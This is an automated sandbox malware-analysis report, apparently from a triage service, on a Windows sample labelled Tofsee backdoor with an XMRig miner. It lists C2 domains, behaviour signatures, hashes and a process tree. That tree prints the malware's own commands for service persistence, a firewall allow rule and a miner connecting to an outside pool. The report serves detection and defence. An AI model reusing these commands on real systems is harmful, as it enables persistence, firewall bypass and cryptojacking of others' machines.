Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2022, 04:16

General

  • Target
    file.exe
  • Size 223KB
  • Sample221026-evspksegam
  • SHA256 01c5f981a0b9995dce8c4f950cd93d8135fedd253d48efc709fdce8ce3e07ae7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2688
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ooyuztam\
      2⤵
        PID:4472
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\olfgdlbi.exe" C:\Windows\SysWOW64\ooyuztam\
        2⤵
          PID:4220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ooyuztam binPath= "C:\Windows\SysWOW64\ooyuztam\olfgdlbi.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ooyuztam "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ooyuztam
          2⤵
          • Launches sc.exe
          PID:3016
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2152
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2688 -s 1036
          2⤵
          • Program crash
          PID:1844
      • C:\Windows\SysWOW64\ooyuztam\olfgdlbi.exe
        C:\Windows\SysWOW64\ooyuztam\olfgdlbi.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1652
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2032
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 560
          2⤵
          • Program crash
          PID:2128
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2688 -ip 2688
        1⤵
          PID:916
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1512 -ip 1512
          1⤵
            PID:3304

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                olfgdlbi.exe

                • Path C:\Users\Admin\AppData\Local\Temp\olfgdlbi.exe
                • Size 13.8MB
                • SHA256 6798395966d2c2838e913bc6e4fb49708d29e6bb5e46890e54f98d283ce5297e
                • MD5 SHA1 SHA512 SSDEEP

                olfgdlbi.exe

                • Path C:\Windows\SysWOW64\ooyuztam\olfgdlbi.exe
                • Size 13.8MB
                • SHA256 6798395966d2c2838e913bc6e4fb49708d29e6bb5e46890e54f98d283ce5297e
                • MD5 SHA1 SHA512 SSDEEP

                memory/1512-149-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/1512-148-0x0000000000620000-0x0000000000633000-memory.dmp

                memory/1512-146-0x0000000000693000-0x00000000006A4000-memory.dmp

                memory/1652-157-0x00000000025B0000-0x00000000025B6000-memory.dmp

                memory/1652-163-0x00000000025D0000-0x00000000025D5000-memory.dmp

                memory/1652-152-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/1652-154-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/1652-160-0x00000000025C0000-0x00000000025D0000-memory.dmp

                memory/1652-153-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/1652-144-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/1652-169-0x00000000025E0000-0x00000000025E7000-memory.dmp

                memory/1652-166-0x0000000007D00000-0x000000000810B000-memory.dmp

                memory/2032-173-0x0000000001240000-0x0000000001331000-memory.dmp

                memory/2032-178-0x0000000001240000-0x0000000001331000-memory.dmp

                memory/2688-150-0x0000000000869000-0x000000000087A000-memory.dmp

                memory/2688-151-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/2688-132-0x0000000000869000-0x000000000087A000-memory.dmp

                memory/2688-133-0x00000000007F0000-0x0000000000803000-memory.dmp

                memory/2688-134-0x0000000000400000-0x0000000000595000-memory.dmp